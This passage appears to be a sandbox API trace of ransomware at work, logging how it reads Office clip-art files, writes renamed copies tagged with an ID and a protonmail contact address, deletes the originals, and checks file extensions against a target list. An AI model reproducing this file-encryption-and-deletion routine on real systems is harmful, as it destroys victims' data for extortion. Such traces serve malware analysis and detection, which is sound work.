	[0207.022] CloseHandle (hObject=0x380) returned 1
	[0207.022] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.022] SetEndOfFile (hFile=0x37c) returned 1
	[0207.023] CloseHandle (hObject=0x37c) returned 1
	[0207.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1
	[0207.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0207.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0207.023] lstrlenW (lpString=".doc") returned 4
	[0207.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.024] lstrlenW (lpString=".docx") returned 5
	[0207.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.024] lstrlenW (lpString=".pdf") returned 4
	[0207.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.024] lstrlenW (lpString=".xls") returned 4
	[0207.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.024] lstrlenW (lpString=".xlsx") returned 5
	[0207.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.024] lstrlenW (lpString=".ppt") returned 4
	[0207.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0207.024] lstrlenW (lpString=".zip") returned 4
	[0207.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.024] lstrlenW (lpString=".rar") returned 4
	[0207.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.024] lstrlenW (lpString=".bz2") returned 4
	[0207.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.024] lstrlenW (lpString=".7z") returned 3
	[0207.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0207.024] lstrlenW (lpString=".dbf") returned 4
	[0207.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0207.024] lstrlenW (lpString=".1cd") returned 4
	[0207.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0207.024] lstrlenW (lpString=".jpg") returned 4
	[0207.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0207.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0207.024] lstrlenW (lpString=".doc") returned 4
	[0207.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.025] lstrlenW (lpString=".docx") returned 5
	[0207.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.025] lstrlenW (lpString=".pdf") returned 4
	[0207.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.025] lstrlenW (lpString=".xls") returned 4
	[0207.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.025] lstrlenW (lpString=".xlsx") returned 5
	[0207.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.025] lstrlenW (lpString=".ppt") returned 4
	[0207.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0207.025] lstrlenW (lpString=".zip") returned 4
	[0207.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.025] lstrlenW (lpString=".rar") returned 4
	[0207.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.025] lstrlenW (lpString=".bz2") returned 4
	[0207.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.025] lstrlenW (lpString=".7z") returned 3
	[0207.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0207.025] lstrlenW (lpString=".dbf") returned 4
	[0207.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0207.025] lstrlenW (lpString=".1cd") returned 4
	[0207.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0207.025] lstrlenW (lpString=".jpg") returned 4
	[0207.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.025] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.026] lstrlenW (lpString="FD01084_.WMF") returned 12
	[0207.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.026] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=2412) returned 1
	[0207.026] CloseHandle (hObject=0x37c) returned 1
	[0207.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220
	[0207.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.026] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.026] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0207.027] GetLastError () returned 0x0
	[0207.027] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x96c, lpOverlapped=0x0) returned 1
	[0207.028] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x970, lpOverlapped=0x0) returned 1
	[0207.029] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.029] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.029] SetEndOfFile (hFile=0x380) returned 1
	[0207.030] CloseHandle (hObject=0x380) returned 1
	[0207.030] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.030] SetEndOfFile (hFile=0x37c) returned 1
	[0207.031] CloseHandle (hObject=0x37c) returned 1
	[0207.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1
	[0207.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0207.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0207.031] lstrlenW (lpString=".doc") returned 4
	[0207.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.031] lstrlenW (lpString=".docx") returned 5
	[0207.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.031] lstrlenW (lpString=".pdf") returned 4
	[0207.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.032] lstrlenW (lpString=".xls") returned 4
	[0207.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.032] lstrlenW (lpString=".xlsx") returned 5
	[0207.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.032] lstrlenW (lpString=".ppt") returned 4
	[0207.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0207.032] lstrlenW (lpString=".zip") returned 4
	[0207.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.032] lstrlenW (lpString=".rar") returned 4
	[0207.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.032] lstrlenW (lpString=".bz2") returned 4
	[0207.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.032] lstrlenW (lpString=".7z") returned 3
	[0207.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0207.032] lstrlenW (lpString=".dbf") returned 4
	[0207.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0207.032] lstrlenW (lpString=".1cd") returned 4
	[0207.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0207.032] lstrlenW (lpString=".jpg") returned 4
	[0207.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0207.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0207.032] lstrlenW (lpString=".doc") returned 4
	[0207.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.032] lstrlenW (lpString=".docx") returned 5
	[0207.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.032] lstrlenW (lpString=".pdf") returned 4
	[0207.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.032] lstrlenW (lpString=".xls") returned 4
	[0207.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.033] lstrlenW (lpString=".xlsx") returned 5
	[0207.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.033] lstrlenW (lpString=".ppt") returned 4
	[0207.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0207.033] lstrlenW (lpString=".zip") returned 4
	[0207.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.033] lstrlenW (lpString=".rar") returned 4
	[0207.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.033] lstrlenW (lpString=".bz2") returned 4
	[0207.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.033] lstrlenW (lpString=".7z") returned 3
	[0207.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0207.033] lstrlenW (lpString=".dbf") returned 4
	[0207.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0207.033] lstrlenW (lpString=".1cd") returned 4
	[0207.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0207.033] lstrlenW (lpString=".jpg") returned 4
	[0207.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.033] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.033] lstrlenW (lpString="FD01176_.WMF") returned 12
	[0207.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.034] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=4984) returned 1
	[0207.034] CloseHandle (hObject=0x37c) returned 1
	[0207.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220
	[0207.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.034] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.034] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0207.035] GetLastError () returned 0x0
	[0207.035] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x1378, lpOverlapped=0x0) returned 1
	[0207.036] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x1380, lpOverlapped=0x0) returned 1
	[0207.037] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.037] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.037] SetEndOfFile (hFile=0x380) returned 1
	[0207.038] CloseHandle (hObject=0x380) returned 1
	[0207.038] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.038] SetEndOfFile (hFile=0x37c) returned 1
	[0207.038] CloseHandle (hObject=0x37c) returned 1
	[0207.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1
	[0207.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0207.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0207.039] lstrlenW (lpString=".doc") returned 4
	[0207.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.039] lstrlenW (lpString=".docx") returned 5
	[0207.039] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.040] lstrlenW (lpString=".pdf") returned 4
	[0207.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.040] lstrlenW (lpString=".xls") returned 4
	[0207.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.040] lstrlenW (lpString=".xlsx") returned 5
	[0207.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.040] lstrlenW (lpString=".ppt") returned 4
	[0207.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0207.040] lstrlenW (lpString=".zip") returned 4
	[0207.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.040] lstrlenW (lpString=".rar") returned 4
	[0207.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.040] lstrlenW (lpString=".bz2") returned 4
	[0207.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.040] lstrlenW (lpString=".7z") returned 3
	[0207.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0207.040] lstrlenW (lpString=".dbf") returned 4
	[0207.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0207.040] lstrlenW (lpString=".1cd") returned 4
	[0207.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0207.040] lstrlenW (lpString=".jpg") returned 4
	[0207.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0207.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0207.040] lstrlenW (lpString=".doc") returned 4
	[0207.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.040] lstrlenW (lpString=".docx") returned 5
	[0207.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.041] lstrlenW (lpString=".pdf") returned 4
	[0207.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.041] lstrlenW (lpString=".xls") returned 4
	[0207.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.041] lstrlenW (lpString=".xlsx") returned 5
	[0207.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.041] lstrlenW (lpString=".ppt") returned 4
	[0207.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0207.041] lstrlenW (lpString=".zip") returned 4
	[0207.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.041] lstrlenW (lpString=".rar") returned 4
	[0207.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.041] lstrlenW (lpString=".bz2") returned 4
	[0207.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.041] lstrlenW (lpString=".7z") returned 3
	[0207.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0207.041] lstrlenW (lpString=".dbf") returned 4
	[0207.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0207.041] lstrlenW (lpString=".1cd") returned 4
	[0207.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0207.041] lstrlenW (lpString=".jpg") returned 4
	[0207.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.041] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.041] lstrlenW (lpString="FD01191_.WMF") returned 12
	[0207.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.042] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=3964) returned 1
	[0207.042] CloseHandle (hObject=0x37c) returned 1
	[0207.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220
	[0207.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.042] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.042] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0207.043] GetLastError () returned 0x0
	[0207.043] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0xf7c, lpOverlapped=0x0) returned 1
	[0207.367] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xf80, lpOverlapped=0x0) returned 1
	[0207.494] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.494] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
